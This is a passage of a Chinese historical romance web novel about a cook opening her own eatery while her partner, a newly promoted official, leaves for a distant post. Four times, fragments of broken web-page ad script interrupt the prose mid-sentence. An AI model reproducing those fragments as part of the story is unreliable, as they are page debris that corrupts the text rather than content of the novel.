裴礼卿与方涟一向如此,只盼裴眠身体康健、开心顺遂,其他诸如学业、武艺等,都并无要求。 正想来叫裴眠的秦见君听了裴礼卿的话,忽而想起韩思霖来。那老头也只盼着她健康,不过她在那个世界的身体应该已经被砸成肉泥了吧...... “裴眠。”秦见君上前。 “怎么了?”裴眠转过身。 “之管家刚刚拿了信过来。”说着,秦见君递出信封。 裴眠看了一眼,是虔渊州来信,官家密函。 院子里都是自己人,他便也不避讳,直接拆了信,低头扫了一眼,随即叹了口气,似是有何事尘埃落定了。 “信上写了什么?”方涟问。 “升职。” 方涟面露喜色问:“真的?此次能回虔渊州吗?” 秦见君也看向裴眠——他要离开绵州了吗?可虔渊州的铺子肯定更贵,她攒的钱还不够多...... “去叶水州。” “叶水州?”方涟的嘴角落了下来,脸上迅速爬上了担忧,“那地方可荒凉得很啊......” 听到这话,秦见君也担忧起来:“不是升职吗?怎么去了荒凉的地方?” “由绵州知州升为西岗路转运使,确是升职。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”裴眠平静道,“叶水州荒凉,是因为土地产物少且产量低,此次官家派我前去,就是想让我去解决此事。” 方涟正要说什么,却被裴礼卿拦住了。 皇帝诏令大过天,此事不是自己不愿便可以改变的,秦见君只好问:“什么时候走?” “正式调令不日便会到绵州,约莫半月后便要出发。”裴眠道。 还有半个月...... “大人。”袁原的声音响起,秦见君见到他便想起老鳏夫的案子,于是暂且放下离别忧虑,有些紧张地看向他。 “办得如何?”裴眠问。 “办好了,尸体已火化,案综上会写此人是使用农具不当意外身亡。”袁原回禀道。 秦见君听了,松了口气,问道:“冯莲怎么样了?” 袁原转向秦见君,回话道:“还在医馆养伤,性命无大碍。” “那就好......” 过了几日,如裴眠所说,正式调令到了知州府,他开始着手收拾行李,一同收拾行李的还有秦见君。 “秦小娘往后就在平雅街北开脚店了?”裴小之一边叠衣裳一边问。 “嗯,就是前几日给你看的第二家铺子。”秦见君道。 老鳏夫的案子了结了,她的心魔也开始渐渐消退。这段日子出门四处看铺子,相中了几家,回府纠结许久才定下的。 “那住所可定了?”裴小之又问。 “就在铺子一旁的巷子里。” 秦见君坐在裴眠屋子里,四处看了看,这里已经收拾得差不多了。眼看着裴眠的东西被一样样收起来,她心里也有些空落落的。 裴小之点点头,感慨道:“你手艺好,脚店定能开得起来,不像我和郎君......听闻那叶水州穷得百姓都要啃草吃了......” “小之,收拾好了便去歇息吧。”坐在一旁看书的裴眠开口了。 裴小之将叠好的衣裳抱起来往外走,刚迈出房门,又转头例行公事般问了一句:“秦小娘走吗?” 果不其然,秦见君连屁股都没挪一下,摇头拒绝了。 裴小之抱着衣裳出了门,边走边想:秦小娘与郎君这是什么情况啊?夜夜孤男寡女待在一个屋子里,老爷和夫人前几日便启程回虔渊州了,也并未听说提亲之事啊...... 秦见君此时光明正大地躺在裴眠床上。 原先她也想回落霞轩睡的,只是听说裴眠马上就要离开了,她便借口做噩梦,继续赖在裴眠屋子里。 裴眠换了睡衣出来,秦见君已经横躺在床上睡着了。 他走上前,将秦见君的鞋袜脱了,替她摆正身子塞进被子里。 秦见君无意识地翻了个身,手搭在裴眠的枕头上,似是手感不对,她按了按空荡荡的枕头,随即醒了过来。 “嗯?”她眯着眼去看裴眠,他还站在床边,便问,“你还在等什么?该睡觉了,困......”说着,她抬手拍了拍枕头,一副在勾栏里享乐的大爷模样。 裴眠有些好笑地抬起她的手腕,放回了被子里,然后自己躺了过去。 秦见君感到裴眠靠近,几乎在他躺好的瞬间,抬手搭在了他胸口,侧过身像树懒一样缠在他身上。 烛火熄灭后,屋子里陷入暗黑。 裴眠有点无奈地屈了屈腿,试图缓解身下的热度。 59.第 59 章 半个月的时间说长不长、说短不短。秦见君一边粘着裴眠,一边着手规划开脚店的事宜,日子也算充实。 “明天......就要出发了吗?”秦见君停下数钱的手,看向裴眠。 裴眠替她将不同价值的钱币分类放好,点了点头。 “那你什么时候能回来啊?” 前段日子秦见君从未提过此事,她在刻意回避,似乎只要不提,就可以再拖一拖,如今临出发了,她不得不思考起“异地恋”的事来。 “待叶水州粮产之事解决,官家便可以趁机再次将我调任,顺利的话会回虔渊州,再不然也能回绵州。”裴眠道。 秦见君追问:“那要多久?” 这问题让裴眠有些为难,他想了想,迟疑道:“或许一年......两年......” 秦见君也看出了他的为难,宽慰他道:“你给我一两年的时间,我会从脚店开到酒楼,到时候在虔渊州和叶水州都开分店,想去哪儿就去哪儿。” 听了这话,裴眠心里有些酸,他早早便知晓自己的心思放在官场民生上,对成家之事并不热衷。如今有了牵挂,他正是为难、不习惯的时候,没想到秦见君居然让他等等她,她会努力走到他身边...... “我会尽快回来。”裴眠的眼神慢慢变得坚定,认真的英俊模样秦见君看得心痒痒的。 这一走就是一年半载见不上面,她看着高大帅气的男朋友,实在很难忍住不动手动脚...... “嗯?”裴眠低头看着扑进自己怀里的小厨娘,愣了愣,抬手揽住她的腰,“怎么了?” “抱一会儿......”秦见君的脸埋在裴眠肩膀上,蹭了一会儿,又不知足似的侧头将鼻子拱到他颈边,用力嗅着他身上的味道。 裴眠身上总是带着淡淡的香气,不是花香也不是果香,倒像是什么木香,闻到便觉得心旷神怡,秦见君很喜欢这个味道,是以夜夜都睡得极好。 她有点焦虑地收紧了环在裴眠颈边的手——离了这味道还怎么睡好觉啊...... 秦见君在绵州的这几个月里,不仅将身上的伤养好了,身子也变得结实了些。不似初见时瘦巴巴、风吹易倒的模样,如今莹肤附骨、柔韧挺拔,贴在怀中,能感觉到她身上流畅的起伏...... 裴眠忍不住矮了矮身子,偏头将脸贴在她耳廓上。 “从绵州去叶水州要多久啊?”秦见君感受到温热的呼吸洒在耳畔,有点痒,却舍不得推开他。 “乘马车快行,七日可到。”裴眠的声音贴得近,听起来十分清晰。 “那写信过去要多久?” “飞鸽传书,三日可到。” 秦见君微微偏头,精准地将耳朵贴在裴眠的唇上,然后便感到他浑身一僵。 唉......我这超绝纯情男友...... 秦见君忍不住在内心叹了口气,脸往下压,将嘴唇贴在裴眠的颈侧。 一时间两人都没说话,只静静感受着对方唇瓣上的温热。 过了许久,秦见君觉得手臂有点酸了,这才退开点距离,将手从裴眠颈间收回,转而环在他腰上——他的腰真的太细了。 “那边的饭菜要是不好吃,你就告诉我,我给你写食谱过去,你自己学着做,千万别再饿着自己。” 秦见君说这话时表情很严肃,她清楚地知道裴眠办起公来就容易忘记吃饭,待会她还要去再嘱咐裴小之一趟才行。 “会吃的。”裴眠应声,秦见君严肃的表情取悦了他,不过转而想到要很长时间吃不到秦见君做的饭菜了,他也有点郁闷起来。 夜里两人早早躺在了床上。 秦见君如前几日一样侧身缠在裴眠身上,却并未如往常一样入睡。 她又一次悄无声息地睁开了眼——实在是睡不着...... 本想蹭上去看看裴眠睡了没,结果刚一挪腿便碰到一个温热坚硬的东西...... 秦见君瞳孔放大——这位置,不会是她想的那个吧? 她等了一会儿,见裴眠没动,便小心挪动大腿往下滑,想一探究竟。 在快要碰到时,大腿忽然被一只手给抓住了。 裴眠的声音有点无奈:“你在做什么?” 秦见君抬头去看,装傻道:“你还没睡啊?” 裴眠转头借着月光看她,她的表情很无辜,但眼底却带着一丝心虚,看得出她方才的动作分明就是故意的。 秦见君被这洞察一切的目光看得背后冒汗,正想收回腿,却没想到裴眠掐着她的大腿翻身压了上来。 这这这这姿势!不对劲! 秦见君的一条腿被裴眠掐着掰开,腿根处的韧带扯紧,一股陌生夹着羞涩的感觉涌上来,她忍不住想合上腿,却被裴眠压得动弹不得。 “你干什么?”她抬手抵在裴眠胸前,以防他忽然凑过来。 裴眠低头看了她半晌,忽然泄气般松开钳制着她大腿的手,转而将她撑在自己胸前的手攥住拿开,倾身压下去,脸贴在她锁骨上。 “想成亲......” “什么?”他的声音又闷又含糊,秦见君有些没听清。 于是裴眠又撑起身子看着她,字字清晰道:“想成亲。” 这下秦见君听清了,成亲这事儿她觉得还是有点早了......正想着要如何委婉拒绝他的“求婚”,就听裴眠又开口了。 “可是官职尚未稳定,你也有自己的目标要完成,现在不合适......”裴眠的声音有些低落。 秦见君松了口气,抬手捧住他的脸道:“那就等时机成熟了再谈成亲的事。” 裴眠看着她的眸子,有些气馁地重新将脸埋在她锁骨上。 秦见君感觉到他叹了口气,灼热的气息打在锁骨上,又被撞进衣领深处...... 她忽然想起方才大腿的触感,不确定地问:“你不会每晚都......这么忍着吧?” 裴眠顿了一下才明白过来她在说什么,也没抬脸,闷闷地应了一声。 秦见君讶然一瞬,而后微微屈起膝盖,在快要触碰到那片温热时又停下,轻声道:“有些事又不是一定要成亲后才能做的......” 趴在她身上的男人没动,半晌又翻身躺在了一边。 秦见君起身转头去看裴眠,他闭着眼不知道在想什么。 “裴眠......睡着了?” 裴眠睁开眼,看向秦见君。 没睡着那就是在装死咯? 秦见君被他这拖拖拉拉的行为惹恼,怒从心头起,恶向胆边生,翻身骑上裴眠的腰,双手撑在他腹部,问:“我说的话你听见没有?” 裴眠被她的动作吓到,连忙想起身将她抱下去,却被她抬手按着肩膀重新躺平。 “问你话呢,听见没?”秦见君不依不饶,她这位纯情男友真的太纯情了,照着他的节奏下去,下辈子都不一定能“干上正事儿”。 “听了......”裴眠重新躺下后眼神有点飘忽。 “那你怎么想的?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦见君问。 裴眠:“......”怎么想?我不敢想...... 秦见君看他满脸通红说不出话的模样,忽然福至心灵:“你是不是......不会啊?” 裴眠忙反驳道:“不是。” 他慌乱的样子太明显了,秦见君几乎能确定他是真的不会...... “不会又不丢人,我教你就好了。”秦见君坦然道,虽然实战经验没有,但理论知识丰富,只要耐心实践,体验感应该不会太差的。 裴眠有些震惊地看着她:“你会?” “不算会吧,没吃过猪肉也见过猪跑啊......” 裴眠不说话了,秦见君以为这是默认,便将手从他的肩头一路下滑至小腹,却忽然被抓住。 “不要?”秦见君问。 裴眠脸上的红愈发深了,咬牙道:“不要。” 秦见君叹了口气,他自己不嫌憋得慌就行! 抬腿从他身上下来,秦见君重新回到树懒抱树的姿势,拍了拍裴眠的胸口道:“那就睡觉吧,明天还要早起赶路呢。” 裴眠额头几乎沁汗,还好秦见君及时收手。 不与她共赴云雨不仅是因为自己不会,还因为......他现在的身子太难看了,全是骨头,又硌人又弱......只怕会半途而废,给她留下不好的印象...... 什么都不知道的秦见君折腾了一会儿便开始犯困,这会儿已经抱着裴眠进入梦乡了。 裴眠要离府,秦见君自然也要跟着离开,于是晨光微熹时,一行人先去了平雅街北巷子里的小院中。 秦见君选的小院子是独门独户的,前厅、卧房、厨房、茅厕一应俱全,院子里还有一棵大榕树,枝繁叶茂,投下的阴影正好挡住厨房。 裴小之与袁原将秦见君的行李送入院子中,便退出了院子等候。 昨夜裴眠没睡好,还染了风寒,虚弱了不少,如今正坐在轮椅中。 秦见君低头与裴眠对视,她原先还以为真到了这一刻,自己会不舍到流泪,如今看来并非如此。 裴眠坐在轮椅中,依旧是那副清俊矜贵的模样,他的眸中含着深情,温柔的眼神仿佛初春的阳光,将她包裹得暖洋洋的。 “每天写信,事无巨细。”秦见君叮嘱。 “嗯。”裴眠应声,随即道,“有事找袁分,他会帮你,他不在的话便去过岭州找赵浅聿,你认得他的府邸。” “知道了。”秦见君回。 又是一阵沉默。 “裴眠......”秦见君弯下腰,凑近裴眠。 裴眠偏了偏头,正洗耳恭听等着她说话,就见小厨娘忽然吻了上来。 温热的唇瓣相贴,只一瞬又分开了。 她的气息猛然靠近又消失,带来澎湃的心跳,裴眠下意识仰起脸想要追随她的离去,没想到她又一次靠近,唇瓣再次相贴,温度紧密交融。 裴眠感受到不属于自己的气息喷洒在鼻尖,瞬间热血直冲大脑,撞得他晕乎乎的,本就虚弱的身体,连手脚都变得无力起来。 秦见君看他愣愣的样子,心中的恶劣因子作用,忍不住想欺负他,于是张嘴咬了一口他的下嘴唇。 裴眠身子一颤,眸光都变得水润起来,他觉得这样下去不行,但四肢僵硬无法动作,想退回去却发觉自己早已靠在椅背上了。 秦见君将裴眠按在轮椅中,唇瓣厮磨,半晌才松开他。 裴眠靠在轮椅中喘气,满脸通红,眼神呆滞...... 60.第 60 章 秦见君租的铺子在平雅街北,当初是为了离知州府近些,不过裴眠走后她也并未重新选址。 这是因为她与街北菜场的摊主们都熟识,且相比起街南老板们相互猜忌的模样,她更喜欢街北老板们和气一片的样子。 “阿君呐,你那脚店何时开啊?”热情的妇人上前拉住秦见君的手,脸上连皱纹都透着喜气。 秦见君笑着道:“明日。” “到时候我带家里的老头去你那儿吃饭,你可得把价格定得公道啊!” “那是自然的,您来我这儿吃饭,我还给您抹零头......” “你那铺子叫什么名?” “含萃店。”秦见君道,待以后做成酒楼了,再叫“含萃楼”,这是她的目标。 袁芽跟在秦见君身后不搭话,直到进了铺子,那妇人才说要回家做饭,施施然离开。 看袁芽一下子松懈下来,秦见君好笑道:“林婶只是有点话多,爱开玩笑,其实心地很好,万事都好商量。” 袁芽点点头,将方才拎进来的东西拆开摆在桌上,都是些碗碟,还有纸笔什么的。 距裴眠离开已有好几日了,秦见君带着袁芽在绵州四处奔走,采买开脚店需要的东西与食材。定下食谱后,还拉着袁芽与袁分在家中试菜。这期间但凡遇到熟人,她都会宣传一下自己的店即将开张。 临近开张,她忽然有些紧张起来,虽然对自己的厨艺很有信心,但在经营店铺方面她一直都是纸上谈兵,这点让她心里很没底。 人在紧张的时候就不免有些多话,此刻她正絮絮叨叨念着袁芽:“接待客人的时候,你话不多也不要紧,但具体的意思一定要传达到位,给客人推荐菜色、记下客人点的菜,都不能出差错......” 袁芽认真地记下秦见君这几日重复了多遍的话,不知为何,她也跟着秦见君一起有些紧张起来。 “秦小娘!这是不是你的信鸽啊?方才路过你家,见它眼熟,我就带过来了!” 谭连丰手上捉着一只鸽子,鸽子腿上绑着小竹筒。 秦见君连忙迎上去,接过鸽子道:“多谢谭大哥,是我的信鸽。” 谭连丰看秦见君正认真拆鸽子腿上的竹筒,便独自背着手在铺子里转了一圈。 这铺子不算太大,进门是大堂,摆了八张大小不一的桌子。门口正对着是收银钱与记账的柜台,台子下面摆着酒水。绕过柜台穿过后头的小门便到了厨房,前厅左侧拐出去是茅厕。 地方虽小,但五脏俱全,谭连丰满意地连连点头,回到大堂对秦见君道:“明日我让你嫂子早些过来吧?新店开张,总是要忙一些的。” 谭连丰的妻子叫徐玲,前段日子谭连丰听闻秦见君开脚店,要招后厨洗碗的帮手,便回家同徐玲商量。 秦见君对徐玲印象极好,毕竟谭连丰看着就不像会将衣裳洗得干净发白的,定是他妻子爱干净、勤动手才能如此。 于是两人抽空见了个面,便将洗碗工的活儿定了下来。 如今除了点菜传菜的伙计袁芽、做菜的厨娘秦见君、洗碗工徐玲外,还缺一个前台记账收钱的账房。 秦见君到处找了一圈,却并未找到心仪的账房先生,他们要么要价极高,要么便是爱偷奸耍滑的性子,她不满意。 “第一天我也说不准,让嫂子早点来也好。”秦见君应下,又与谭连丰说了几句,将他送出门。 转身急忙展开从鸽子腿上卸下来的信,秦见君低头认真看着,一旁的袁芽支起手撑着脑袋等她——一定是裴大人的信。 裴眠在信中说自己已顺利抵达叶水州,那边天气有些凉,想来绵州也正入秋,提醒秦见君多添衣物。 秦见君撅了撅嘴——她每日在厨房忙活,冻不着的,倒是裴眠日日在田地中奔走,染上风寒可不行...... 目光下移,裴眠在信中还说,叶水州并不像传闻中一样穷苦,但比起中部百姓来说,确实是清苦了些,不过吃食上尚可接受,让秦见君不必担心。 信纸上的字很小,可写了整整一页也只说了这几件事,秦见君从头又读了一遍,刚想让袁芽去取纸笔来,就发现桌上已经放好了纸笔,袁芽正在研墨。 她挑挑眉,提笔开始写,与裴眠的含蓄不同,她的文字更加直白、热烈。 “含萃店马上要开张了,我有点紧张......” 秦见君的字越写越小,想说的话太多,纸张却有限,她在最后写道:“如果你生病的话,下次见面我一定会惩罚你!我要把你亲得喵喵叫!” 袁芽识的字越来越多,看到这儿有点不忍直视——大人的感情好奇怪...... 写完信,秦见君又重新投入脚店的筹备中。 “珍馐楼那边提供给我们的只有春明酒,我还会添上梅子水和百合莲子饮两种......”秦见君一边说一边写。 先前定菜单时,她原想像珍馐楼一样将菜名取得十分高雅难懂,但很快便放弃了这个想法。 脚店面向的就是寻常百姓,有识字的也有不识字的,与其追求所谓的“高雅”而将顾客拒之门外,不如贴着地气,将店养起来。 “茶水是免费的,平时店里的客不多时,不必驱赶来喝水闲坐的客人,如果店里人多的话,就尽量把喝茶水的客人集中在一桌,或者在门口搭临时桌子......”秦见君说,袁芽就低头记,时不时提问,将店里可能遇到的情况事无巨细地捋了一遍。 “目前就这些。”秦见君喝了口茶水。 袁芽记得手都酸了,忍不住担忧道:“账房先生还没找到......” “明天袁分会来帮忙,明晚我也会去继续找人,看看能不能找到合适的。” 袁芽听了,动作有些顿住:袁分要来? 裴眠在走之前,将袁分介绍到绵州军械库做管事,职务并不繁忙,工钱却很可观。 如今袁分早出晚归,所以虽然同住一个屋檐下,袁芽却极少与他碰面。 可他要来帮忙的事,袁芽是一点消息都没听到的...... 明明每晚要回同一个家休息,却连这样的消息都是从秦见君口中得知的。 袁芽垂下头,不知在想什么。 开张当日,店里来了很多熟人。 随着舞狮队表演结束,店铺正式开张。 “胡荽拌牛肉是什么?”黄铿问。 袁芽字句清晰道:“胡荽凉拌卤牛肉,是下酒的好菜,如果您能吃胡荽的话,可以尝试一下, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只要六文。” 黄铿看向一旁的罗衔玉,后者点点头,两人便先点了胡荽拌牛肉与干果蜜饯盘,再佐上一壶春明酒,临窗而坐,虽不及高楼视野宽阔,却有融入市井烟火之感。 窗台擦得极其干净,窗外地上摆了绿植,几片绿叶俏皮地探出头,靠在桌边不远处轻晃。 黄铿不禁感慨道:“秦小娘这脚店布置得......真是别出新意......” 罗衔玉的心思却不在这上面,视线总是在柜台后的小门处逡巡。 黄铿有些恨铁不成钢,抬手推了罗衔玉一把,道:“你这心思也太藏不住了。” 清俊的书生这才收回目光,看向友人。 门口的舞狮吸引了许多百姓前来围观,愿意进店看看的也不少。识字的能在柜台上看见菜单,不识字的便等着袁芽来介绍,不过他们都一同发现了这家脚店菜色新奇、价格公道。 秦见君在后厨查看袁芽写进来的订单,埋头苦干起来,直到袁芽进来喊她。 “沈小姐来了!” 沈婉见脚店中已没了位置,便直接进了后厨。 “恭喜。”沈婉从莺儿手中接过贺礼,递给秦见君。 秦见君倒是没想到还有礼物收,忙接过盒子,有些不好意思地看着沈婉——店里没位置了,是她未曾预想到的火爆,眼下也不知道该如何接待沈婉。 沈婉看出了她的窘迫,柔声道:“不必招待,我只是来看看,礼送到,我便回去了......” 秦见君想开口叫住她,自己前几日特地请了赵浅聿今日过来,说不定两人能碰上。 不过沈婉动作快,已经出了小门,店中人声鼎沸,将秦见君的声音淹没了,她只好无奈地叹了口气。 沈婉小心地穿过摩肩接踵的人群,出了脚店,正要回府,便听到后头有人叫。 “沈小姐。” 她转过身——是赵浅聿。 赵浅聿似是赶得急,额上冒出了汗,但风度不减,依旧俊朗。 “留步,我有话要同你说。”赵浅聿走到沈婉面前,将她带到一旁的巷口道,“我进去送个礼便出来找你。”说完就转身进了脚店。 沈婉有点愣愣的,她转头看向莺儿,莺儿也一脸呆滞。 “小姐......赵大人这是什么意思啊?”莺儿问。 沈婉摇头,这段日子她运气不好,并未与赵浅聿偶遇过,况且手头还有事要忙,也没空刻意“偶遇”,她还以为赵浅聿快把自己忘了呢...... 赵浅聿很快便从脚店出来了,莺儿识趣地走远了些,将巷口的空地留给二人。 “你......”赵浅聿犹豫了一下,似乎是在措辞。 沈婉看他表情纠结,也有些紧张起来——他是遇到什么难事了吗? “你知晓新的绵州知州今日上任吗?”赵浅聿问。 沈婉点头,这事沈叠山今早提过一嘴,但并未言明新知州是何人。 “你......还记得他?”赵浅聿试探道。 “我......应该记得他吗?”沈婉有些疑惑,这位新上任的知州自己认识? 赵浅聿看她茫然的神情,猜测她并不知晓对方身份,于是道:“是殷祈安。” 61.第 61 章 自从上次秦见君同自己说,沈婉的心上人是在诗会上相识后,赵浅聿越琢磨越觉得此人就是殷祈安。 这些年殷祈安的父亲在朝堂上动作不少,却做得不够干净利落,留下许多把柄,这样的人家嫁不得,说不准哪天就被官家抄了。 沈婉听到“殷祈安”的名字,有一瞬的恍惚,而后才想起此人是当初在诗会上调戏自己的那位。 新知州怎么偏偏是他? 沈婉垂下眸子,思索片刻,决定还是先回府找爷爷商量此事。她与沈叠山在绵州都有产业,若是知州要刻意为难,生意便很难做。 赵浅聿看沈婉的表情淡淡的,有些拿不准她在想什么。 “沈小姐。” 沈婉抬头看向赵浅聿,他眸子清亮,她像是被什么击中般迅速移开目光,只盯着他的鼻尖看。 “先前在虔渊州时,贵府举办诗会......” 他记得? 沈婉眼睛一亮。 虽然变化细微,却还是被赵浅聿看在眼里。 不是吧?真喜欢那个殷祈安? 他想了想,委婉提醒道:“你应该记得诗会上发生了何事?” 沈婉有些懵——这是何意?怎么忽然提起这个?是秦见君同他说了什么吗?还是说......他想借此叙旧? “若沈小姐不记得了,还请好好回忆一番,有些人和事还是不要太快遗忘得好......” “我记得!”沈婉的声音有些急,她觉得赵浅聿在暗示她......暗示她,他们之间曾有过联系,暗示她报答当初的解围之恩? 赵浅聿轻轻松了口气,道:“记得就好。” 该说的都说了,于是告辞道:“我府中还有事,先走了。” “大人慢走。” 沈婉看着赵浅聿高大的身影穿过人群远去,忍不住抬手放在心口上,感受皮肉之下激烈的跳动。 秦见君在后厨忙得脚不沾地,心想若是以后日日都是如此情况,那她就要赶紧招厨子了。 “小芽!” 袁芽应声进了后厨。 “胡荽牛肉只剩五份了。” “好。” 袁芽回了大堂,路过柜台时,看见袁分正在记账,她停了一瞬,却什么都没说,又迅速投入工作中。 “小芽?” 袁芽抬头转了一圈,发现是黄铿在喊她,于是赶忙过去。 “这胡荽拌牛肉好吃,再来一份。”黄铿将盘中剩下的胡荽夹起塞入嘴中,细细品尝着其中的咸香气味。 袁芽记下,又被隔壁桌叫走。 黄铿看着坐得满满当当的大堂,朝罗衔玉感慨道:“好在我们来得早,不然就坐不到位置了。” 罗衔玉点头。 “话说秦小娘厨艺真好,这胡荽牛肉我还是第一次吃,竟不知卤牛肉还能有如此风味!”黄铿忍不住用筷子戳了戳盘中剩下的汁水,眼巴巴等着后厨出餐。 罗衔玉终于开口了:“她确实很好。” 黄铿翻了个白眼:合着夸秦小娘才能得您老一句金口玉言呢? 隔壁桌的客人点好菜,便转头同黄铿搭话:“这胡荽牛肉当真那么好吃?” 黄铿立刻来了兴趣,整个身子都转了过去,语调激扬:“简直美味!你能吃胡荽吗......” 见黄铿与隔壁桌客人聊得正酣,罗衔玉趁着这个空档悄悄离开了座位。 秦见君眼睁睁看着备好的食材越来越少,直至见底,这才有空捶捶自己早已僵硬的腰。 “秦小娘。” 秦见君抬头,看见罗衔玉站在厨房门口。他的表情带着七分羞涩与三分拘谨,秦见君心头一跳,尴尬的感觉伴随鸡皮疙瘩一起爬上手背。 “多谢你们今天来捧场。”秦见君客气道。 罗衔玉抿唇笑了笑,道:“你厨艺好,即便我们不捧场,大堂也能坐满。” 秦见君礼貌微笑,并不接话。 罗衔玉并未离开,而是犹豫了一下,又开口道:“这里离过岭州很近,不知秦小娘欢不欢迎我常来。” 秦见君哽了一下,掩在桌下的手指抠了抠掌心,温声道:“当然欢迎,友人相聚是人生幸事。” 罗衔玉的表情略略有些急了,他上前半步道:“不是友人。”他的眼睛坦诚又直白,“你知道的,不止友人。” 秦见君见状,装傻道:“可我已与心仪之人互通心意,除了友人......似乎不大好有其他关系......” 她微微低下头,想起裴眠时,脸颊染上的粉红并不作伪。 罗衔玉如遭雷击。 秦见君看着他五味杂陈的表情,心里却松了口气。 罗衔玉不知自己是如何走出含萃店的,只觉得浑身酸痛,一路被许多人迎面撞上,他们发出或询问或抱怨的声音,可他都并未听清。 “你......唉......秦小娘是这样好的人,许了人家也在情理之中,你也不必就此意志消沉吧?”黄铿在一旁劝慰。 罗衔玉充耳不闻,只如行尸走肉般往前走,黄铿只好在一旁替他挡着撞上来的人群。 此后有一段日子都再没见过罗衔玉,秦见君便放心地继续经营自家店铺了。 信鸽腿上绑着细竹筒,一路翻山越岭,从温暖的南方飞向寒冷的北方。 翅膀扑棱扇起微风,裴小之“呸呸”两口吐了飞进嘴里的毛,将信拆了出来。 “郎君,绵州来信。” 裴眠从田埂上站起身,伸手接过信纸。 当看到秦见君写“把你亲得喵喵叫”时,他忍不住勾起嘴角——她总有这么多奇奇怪怪的话,看着形象又可爱。 “你那个......女......女朋友又来信了?” 裴眠抬头看向挽起裤腿在田里看苗的连立山,点点头。 连立山长得高大,性子十分踏实憨厚,裴眠初见他时便明白了此人在欢州治水时怕是吃了许多苦。 裴眠到任的第一日,连立山特地买了鸡来炖,但又因为舍不得钱请厨子,只好自己上手煮,最后几人分食了一锅口味奇怪的鸡汤。 而后他便将裴眠扔在知州府中,自己去了田里。 裴眠披着大氅跟着去了田里,发现沿边稻苗的长势还算好。 连立山则光着脚走进田地深处,仔细查看着稻苗长势,脸上表情不大明朗。 起先连立山以为裴眠与欢州那些豪绅一样,是银钱堆里富养出来的大少爷,吃不得苦、干不了活。 可他眼看着裴眠日日冒着寒风去田里看苗,还走访百姓询问农作事宜,他便也尝试着与裴眠搭话。 没想到裴眠并没有什么架子,还耐心解答他的疑惑。两人在农作方面都是新手,裴眠的学习能力却强过自己,连立山一边好奇一边钦佩。 尤其在得知裴眠有个“在谈恋爱的女朋友”时,连立山深刻感受到了有钱人与自己的隔阂,毕竟“谈恋爱”和“女朋友”两个词对他来说实在太新鲜了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,简直闻所未闻——还是有钱人会玩...... 不过裴眠看起来并不像会玩的花花公子,他每每收到“女朋友”来信,都笑得一脸甜蜜,回信时字迹工整,洋洋洒洒一整页,看着不似敷衍。 连立山对裴眠的“女朋友”很好奇,但是怕裴眠多想,并不敢开口问。 裴眠收起信纸转身走了,连立山知道,他这是要去写回信了。 “小之兄弟。”连立山喊。 裴小之低头看着站在田里矮人一等的连立山,问:“何事?” “裴大人的‘女朋友’,究竟是什么样的小娘子?”连立山道,不问裴眠本人的话,或许可以问问他的身边人。 说到这个,裴小之可来劲了,从秦见君如何一碗蛋羹征服了裴眠,说到她提议开放宵禁、办夜市,再到出摊赚钱,最后在绵州开了自己的脚店...... “果真是奇女子......”连立山感慨道,愈发对秦见君好奇了,不过他随即又道,“可这秦小娘若真如你说得这样好,裴大人怎么不早早与她定下婚事?” 这个裴小之也不清楚,只好含糊道:“反正秦小娘日日待在知州府中,应当不会移情......”他忽然意识到,秦见君已经不在知州府中了! 脚店里每日来来往往的客人众多,秦见君长得好、性子好,难保不会被别人盯上...... 裴小之越想越觉得心慌,顾不上回连立山的话,一路跑着追裴眠去了。 “郎君!郎君!” 裴眠铺好信纸,提笔写下开头,头也不抬地问:“何事?” “秦小娘如今开了脚店,来往的客人那么多,若是有人想撬郎君的墙角可怎么办?”裴小之道。 裴眠下笔的手一顿,抬眼看向裴小之,眼底有些冷。 这眼神看得裴小之背后一凉,但还是顶着压力道:“你们本就没定下亲事,也没几人知晓你们在.....在‘谈恋爱’,若是秦小娘移情别恋,郎君也只能吃哑巴亏啊......” 裴眠重新低下头,一边写字一边道:“闲了就去将《话农桑》再抄三遍,再口无遮拦就等着受罚。” 裴小之忙闭上嘴出了屋子。 袁原抱着手站在屋子外头,裴小之见他沉默寡言的样子,不禁反思:我是不是话太多了?仔细想想,袁原这种不说话的就很少挨郎君训...... 袁原虽站在屋子外,却听力过人,自然听到了裴小之在里头说的话。 就在裴小之要经过自己面前时,袁原忽然开口道:“过几日我要去一趟虔渊州。” 裴小之莫名:“你现在出任务还要跟我汇报?” 袁原垂眸看他:“会经过绵州。” 裴小之福至心灵:“你是说......” 袁原收回视线,压低了声音道:“会去看看,你别在大人面前乱说话了。” 裴小之顿了顿,担忧道:“若是真被我说中了......” 袁原撇了一眼屋子,打断道:“我会亲自去看,在此之前,勿要多言。” 远在绵州的秦见君不仅解决了一个追求者,还在开业第一天大卖,这会儿正高兴地在屋子里拆礼物。 赵浅聿送的是一个玉貔貅摆件,秦见君打算明日就将这摆件放在柜台上。 想起柜台,秦见君又从礼物木盒下抽出一沓厚厚的纸,都是今日送过来的账房自荐信。 她就着烛火一封一封筛选,将沈婉送的礼物忘在一旁...... 62.第 62 章 开张第一日脚店生意火爆,午饭时间便将准备好的食材都卖了出去。袁芽连轴转,回家时浑身酸痛,连嗓子都哑了。 她默默回了自己的屋子,洗漱好趴在床上。 这院子离脚店不远,距秦见君住的院子也不过两条巷子的距离,是袁分近日新寻的院子。 原先的小院子住不开,袁分将卧房让给袁芽,自己则时常夜不归宿,不知行踪。袁芽住在那边总是心有惴惴,不敢入眠,好在如今换了院子。 她反手揉了揉腰,心想若是以后日日都是如此,那她可有些撑不住了...... “笃笃。” 袁芽瞬间从床上坐起身,看向门口——这么晚了,只有同在院子里的袁分会来找自己,但此前他从未来过自己的屋子...... 袁芽有些警惕,犹豫要不要开口询问是谁,门外那人自己说话了。 “袁芽。” 是袁分的声音。 袁芽上前开了门,见袁分手里拿着药酒与账本,于是侧身让开位置。 袁分看着身前足以让他进屋的空隙,顿了顿,还是迈腿走了进去。 将东西放在桌上,正要离开,就见袁芽关了门转身走过来,他只好等等再提要离开屋子的事。 